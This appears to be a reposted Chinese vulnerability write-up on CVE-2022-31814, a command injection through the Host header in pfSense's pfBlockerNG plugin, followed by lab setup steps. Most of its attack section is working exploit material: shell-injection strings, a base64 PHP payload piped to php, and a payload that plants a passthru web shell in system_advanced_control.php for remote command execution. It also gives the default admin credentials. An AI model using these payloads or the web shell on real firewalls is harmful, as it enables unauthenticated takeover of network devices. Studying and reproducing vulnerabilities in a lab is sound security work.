PfSense pfBlockerNG 未授权RCE漏洞(CVE-2022-31814)

Posted B0t1

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PfSense pfBlockerNG 未授权RCE漏洞(CVE-2022-31814)相关的知识,希望对你有一定的参考价值。

PfSense pfBlockerNG 未授权RCE漏洞(CVE-2022-31814)

概述

PfSense系统的插件pfBlockerNG引起的未授权RCE漏洞

pfSense是一个基于FreeBSD操作系统开发的防火墙和路由器软件

FreeBSD 是一种类UNIX操作系统

pfBlockerNG是一个pfSense的插件(默认不安装),提供了广告、恶意内容和地理拦截功能。

版本

pfSense 2.6.0

pfBlockerNG<=2.1.4_26

漏洞代码分析

位置/usr/local/www/pfblockerng/www/index.php有如下代码:

// Query DNSBL(邮件黑名单) Alias for Domain List.
$query = str_replace(\'.\', \'\\.\', htmlspecialchars($_SERVER[\'HTTP_HOST\']));
 
exec("/usr/bin/grep -l \' \\"$query 60 IN A\' /var/db/pfblockerng/dnsblalias/*", $match);

$_SERVER[\'HTTP_HOST\']是一个用户可控的输入,攻击者通过host 头来修改该参数

即/usr/bin/grep -l \' "[用户可控] 60 IN A\' /var/db/pfblockerng/dnsblalias/*

/usr/bin/grep

/usr/bin/grep \'要匹配的字符串\' \'文件的路径\'

-l, --files-with-matches print only names of FILEs containing matches,打印仅包含匹配项字符串的文件名

用法如下图:

拼接命令

验证payload可行性

/usr/bin/grep -l \' \\"\' *; sleep 5 ;\'60 IN A\' /var/db/pfblockerng/dnsblalias/*

可见start response timer时间延迟了约5s

本地执行命令测试如下图

默认情况下,pfSense中没有安装“base64-d”二进制文件,但python3.8安装了,因此,我们能够编写和解码base64有效载荷,并将所有内容传输到php-cli二进制文件中:

测试的php代码

<?php echo("HELL");?>

base64编码

PD9waHAgZWNobygiSEVMTCIpPz4K

python解码

python -m base64 -d

然后传输到php

| php

拼接起来的命令为:

/usr/bin/grep -l \' \\"\' *;echo \'PD9waHAgZWNobygiSEVMTCIpPz4K\'|python3.8 -m base64 -d|php ;\'60 IN A\' /var/db/pfblockerng/dnsblalias/*

结果如图,成功解析php代码并输出了HELL

构造后门

php代码:

<?php $a=fopen("/usr/local/www/system_advanced_control.php","w") or die();$t=\'<?php print(passthru($_GET["c"]));?>\';fwrite($a,$t);fclose($a);?>

passthru函数

php端

$path="python 脚本绝对路径/脚本文件名.py "; //注意:末尾要加一个空格,否则传参失败
$params = "要传入python脚本的参数"; //传递给python脚本的入口参数
passthru($path.$params." ".$params2);

python端

import sys
params = sys.argv[1] #即为获取到的PHP传入python的接口参数

通过以上即可实现php通过passthru函数来调用执行Python脚本

base64编码

PD9waHAgJGE9Zm9wZW4oIi91c3IvbG9jYWwvd3d3L3N5c3RlbV9hZHZhbmNlZF9jb250cm9sLnBocCIsInciKSBvciBkaWUoKTskdD0nPD9waHAgcHJpbnQocGFzc3RocnUoICRfR0VUWyJjIl0pKTs/Pic7ZndyaXRlKCRhLCR0KTtmY2xvc2UoICRhKTs/Pgo=

拼接起来的命令为:

/usr/bin/grep -l \' \\"\' *;echo \'PD9waHAgJGE9Zm9wZW4oIi91c3IvbG9jYWwvd3d3L3N5c3RlbV9hZHZhbmNlZF9jb250cm9sLnBocCIsInciKSBvciBkaWUoKTskdD0nPD9waHAgcHJpbnQocGFzc3RocnUoICRfR0VUWyJjIl0pKTs/Pic7ZndyaXRlKCRhLCR0KTtmY2xvc2UoICRhKTs/Pgo=\'|python3.8 -m base64 -d|php ;\'60 IN A\' /var/db/pfblockerng/dnsblalias/*

成功注入

在网站上访问该木马文件,成功getshell

最后拿ihteam的脚本跑一下,成功rce

漏洞环境搭建

新建虚拟机,选择FreeBSD

配置如下,直接使用从官网下好的pfsense的iso文件

打开然后默认enter

安装好重启后,选2配置LAN的ip,配好后如下图:

然后浏览器直接输入192.168.153.139即可访问web界面

输入默认账户admin/pfsense完成登录

进入后选择配置向导

配置网络

到第四步配置如下:

后面默认,然后成功上网

启动SSH服务

系统-高级选项-管理员访问-安全shell下

启用安全ssh和允许代理转发的启用ssh-代理转发支持。然后xshell连接对应ip地址,用户是root即可连接

安装python开发环境

[2.6.0-RELEASE][root@pfSense.home.arpa]/etc/pkg: pkg search python
frr7-pythontools-7.5.1_3       Provide configuration reload functionality for FRR
py38-gitpython-3.1.24          Python Git Library
python38-3.8.12_1              Interpreted object-oriented programming langua
[2.6.0-RELEASE][root@pfSense.home.arpa]/etc/pkg: pkg install python38-3.8.12_1

试了python,python3,python38都没找到指令

最后进入/usr/local/bin目录下查看,发现是python3.8,如下图

配置pfBlockerNG插件

插件管理里搜索pfBlockerNG安装,只找到3.2.0_3版本的,先装上

github上找到2.1.4_26版本的pfBlockerNG插件

https://github.com/pfsense/FreeBSD-ports/tree/devel/net

https://github.com/pfsense/FreeBSD-ports/commit/b57e24307dd32679f55dd7e38dc29910168886a4

然后点进对应版本的freebsd-port下载

解压zip包的net/pfsense-pkg-pfBlockerNG,找到pfBlockerNG的index.php文件

ps:因为漏洞只出现在该文件中,所以直接把2.1.4_26版本的index.php文件下载下来上传到防火墙系统里覆盖已安装的3.2.0_3版本的index.php就行

在这个地方上传文件

成功上传返回路径

然后打开命令行,使新上传的index.php文件直接覆盖3.2.0_3版本的

mv /tmp/index.php /usr/local/www/pfblockerng/www/index.php

参考链接

PfSense pfBlockerNG 未授权RCE漏洞(CVE-2022-31814)

PHP通过passthru()函数实现与python脚本的交互

payload:pfBlockerNG 2.1.4_26 - 远程代码执行 (RCE) - PHP 网络应用程序漏洞利用 (exploit-db.com)

开源防火墙pfSense的安装及初始化

pfsense配置网络

以上是关于PfSense pfBlockerNG 未授权RCE漏洞(CVE-2022-31814)的主要内容,如果未能解决你的问题,请参考以下文章

pfSense Plus22.01中文定制版发布

pfSense配置基于时间的防火墙规则

pfSense 2.3.5发布!

pfSense CE和pfSense Plus的差异

pfSense常用插件

pfsense版本分类